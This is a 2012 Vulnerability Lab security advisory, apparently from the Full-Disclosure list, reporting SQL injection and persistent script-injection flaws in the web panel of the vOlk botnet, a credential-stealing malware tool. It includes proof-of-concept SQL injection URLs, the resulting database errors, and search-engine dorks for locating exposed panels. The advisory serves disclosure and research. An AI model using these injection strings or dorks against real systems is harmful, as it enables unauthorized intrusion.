vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities

[Vulnerability Lab <research () vulnerability-lab com>]

Title:
======
vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities


Date:
=====
2012-10-09


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=721


VL-ID:
=====
721


Common Vulnerability Scoring System:
====================================
8.3


Introduction:
=============
vOlk-Botnet v4.0 is a remote administration tool, its main function is to manage the HOSTS file of the windows 
operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.

Features:
[+] Add Startup
[+] Download & Execute.
[+] Visit Webpage [Visible].
[+] Visit Webpage [Invisible].
[+] Mutex
[+] Stealer FTP(Filezilla)
[+] Msn Stealer(Messenger Save User)
[+] Statistics Bot s


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the vOlk-Botnet framework application 
v4.0 private edition.


Report-Timeline:
================
2012-10-09:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
The vulnerability laboratory research team discovered multiple sql injection vulnerabilities in the vOlk-Botnet 
framework application v4.0 private edition.
The sql vulnerabilities allow remote attackers to inject/execute own sql commands/statements on the affected vOlks 
botnet application control panel dbms.
The vulnerabilities are located in the Messenger, Filezilla, Estadisticas files with the bound vulnerable ?pag listing 
parameter. The vulnerability can 
be exploited by remote attackers without required user inter action. Successful exploitation of the vulnerabilities 
result in botnet control panel 
compromise via remote sql injection attack.

Vulnerable Files(s):
                                [+] Messenger.php
                                [+] Filezilla.php
                                [+] Estadisticas.php

Vulnerable Parameter(s):
                                [+] pag


1.2
The vulnerability laboratory research team discovered multiple persistent web vulnerabilities in the vOlk-Botnet 
framework application v4.0 private edition.
The input validation vulnerabilities allow remote attackers to inject own malicious persistent script code on 
application side of the botnet framework.
The vulnerabilities are located in the Visit Webpage (Open URL), MSN Stealer, Download File and Setting modules with 
the bound vulnerable domin, 
Pasw, https or messenger bot s name parameters. The vulnerability can be exploited by remote attacker with low or 
medium required user inter action. 
Successful exploitation of the vulnerabilities result in botnet control panel compromise via session hijacking, 
persistent web context manipulation or 
combined csrf request manipulation.

Vulnerable Module(s):
                                [+] MSN Stealer
                                [+] Visit Webpage (Open URL)
                                [+] Download File
                                [+] Setting

Vulnerable Parameter(s):
                                [+] Name -  Bot s Name
                                [+] URL - Open URL Bots
                                [+] URL - Download url
                                [+] Password Administrator &  User Administrator




Dork CodeSearch:  <p><font color=``#FFFFFF`` face=``Tahoma`` size=``1``>vOlk-Botnet 4.0</font></p>``   or 
``<title>[vOlk-Botnet]v 4.0 Login</title>``
DorK Google:      allinurl:vOlk-Botnet 4.0    or  subtitle:[byvOlk] - WebAdmin Panel ® vOlk-Botnet 4.0    and  
allinurl:WebAdmin/archivos/imagen/logo.jpg


Proof of Concept:
=================
1.1
The sql injection vulnerabilities can be exploited by remote attacker without privileged application user account and 
without 
required user inter action. For demonstration or reproduce ...

http://[SERVER]/images/WebAdmin/Controladores/Messenger.php?pag=-1%27%20union all select id from pharming--
http://[SERVER]/images/WebAdmin/Controladores/Filezilla.php?pag=-1%27%20union all select id from pharming--
http://[SERVER]/images/WebAdmin/Vistas/Estadisticas.php?pais=-1%27%20union all select id from pharming--

--- SQL Exceptions ---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 
version for the right 

syntax to use near '-100 , 100' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 
version for the right 
syntax to use near ''-1'' ORDER BY fecha DESC LIMIT 0 , 45' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 
version for the right 
syntax to use near '-200 , 100' at line 1
--
SELECT * FROM zombis
SELECT * FROM pharming


1.2
The persistent script code inject vulnerabilities can be exploited by remote attackers without privileged application 
user account but with 
low or medium required user inter action. For demonstration or reproduce ...

MSN Stealer:
The msn stealer module inside of the application displays the Bot's Name unsanitized. To infect the attacker back the 
victim can simulate a 
fake msn account login on a infected system with malicious persistent script code as Bot's Name. The result is a 
persistent script code execution 
out of Bot's Name web context in the messenger listing. The victim can hijack the vOlks Botnet Panel sessions or 
manipulate the framework with 
own malicious persistent context to stop, block, take over or disable the service.
  
Review: MSN STEALER - BOTS NAME

<tbody><tr>
    <td width="2%"><div align="center">
        <font color="#FFFFFF" face="Verdana" size="1"><b>ID</b></font></div></td>
    <td width="12%"><div align="center"><b>
                <font color="#FFFFFF" face="Verdana" size="1">Bot's Name
        </font>  </b>  </div></td>
        <td width="6%"><div align="center"><b>
                <font color="#FFFFFF" face="Verdana" size="1">Pais
        </font>  </b>  </div></td>
                <td width="79%"><div align="center"><b>
                        <font color="#FFFFFF" face="Verdana" size="1">Login de msnmsgr.exe
        </font>  </b>  </div></td>
  </tr>
         <tr>
            <td><div align="center"><font color="#CCCCCC">1</font></div>
        <font color="#CCCCCC"></font></td>
                <td><div align="center"><font color="#CCCCCC">[[PERSISTENT INJECTED SCRIPT CODE!]]</font></div>
        <font color="#CCCCCC"></font></td>



Review: Visit Webpage - Open URL

<table style="border-style:solid; border-width:1px; " background="archivos/imagen/fondo.png" height="69" width="96%">
  <tbody><tr>
    <td align="left" bgcolor="#333333" height="26" width="29%"><font color="#FFFFFF" face="Verdana" 
size="1">Open URL Bots: </font></td>
    <td align="left" bgcolor="#333333" width="68%"><div> <span style="margin-left:0px" name="div_1_mensaje" 
id="div_1_mensaje"> <font face="Verdana" size="1">
      <input name="domin" id="domin" style="border:1px solid #FFFFFF; width: 420; color:#666666; font-family:
Verdana; font-size:8pt; background-color:#000000; float:left; height:17" 
value=""><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="1">
    </font> </span> </div></td>
  </tr>


Review: Download File

<table style="border-style:solid; border-width:1px; " background="archivos/imagen/fondo.png" height="83" width="99%">
  <tbody><tr>
    <td align="left" bgcolor="#333333" height="19" width="29%"><font color="#FFFFFF" face="Verdana" 
size="1">Download url:</font></td>
    <td align="left" bgcolor="#333333" height="19" width="68%"><div> <font face="Verdana" size="1">
      <input name="https" id="https" style="border:1px solid #FFFFFF; width: 394; font-family:Verdana; 
font-size:8pt; color:#666666; background-color:#000000; float:left; 
height:17" value="http://www.";><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <.com"="" size="1">
    </font> </span> </div></td>
  </tr>


Review: Settings - Administrator Username & Administrator Password

<tbody><tr>
        <td align="left" bgcolor="#333333" height="21" width="30%">
        <font color="#FFFFFF" face="Verdana" size="1">User Administrator  :</font></td>
        <td align="left" bgcolor="#333333" width="70%"><div>
<span style="margin-left:0px" name="div_1_mensaje" id="div_1_mensaje">
<font face="Verdana" size="1">
<input style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana; font-size:8pt; 
color:#666666; background-color:#000000" value="[[PERSISTENT INJECTED SCRIPT CODE!]]" 
disabled="disabled" name="User" id="User" size="1" type="text">[[PERSISTENT INJECTED SCRIPT CODE!]]
</font></span>
</div></td>
</tr>



<tr>
<td align="left" bgcolor="#333333" height="21" width="30%"><font color="#FFFFFF" face="Verdana" 
size="1">Password Administrator :</font></td>
<td align="left" bgcolor="#333333" width="70%">
<span style="margin-left:0px" name="div_segundos" id="div_segundos">
<font face="Verdana" size="1">
<input name="Pasw" id="Pasw" style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana; 
font-size:8pt; color:#666666; background-color:#000000" value="\" 
type="text"><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="70"></font></span></td>
</tr>


Risk:
=====
1.1
The security risk of the sql injection vulnerabilities are estimated as critical.

1.2
The security risk of the persistent script code inject vulnerabilities are estimated as medium(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Karim H.B. (kami () vulnerability-lab com)
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research () vulnerability-lab com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/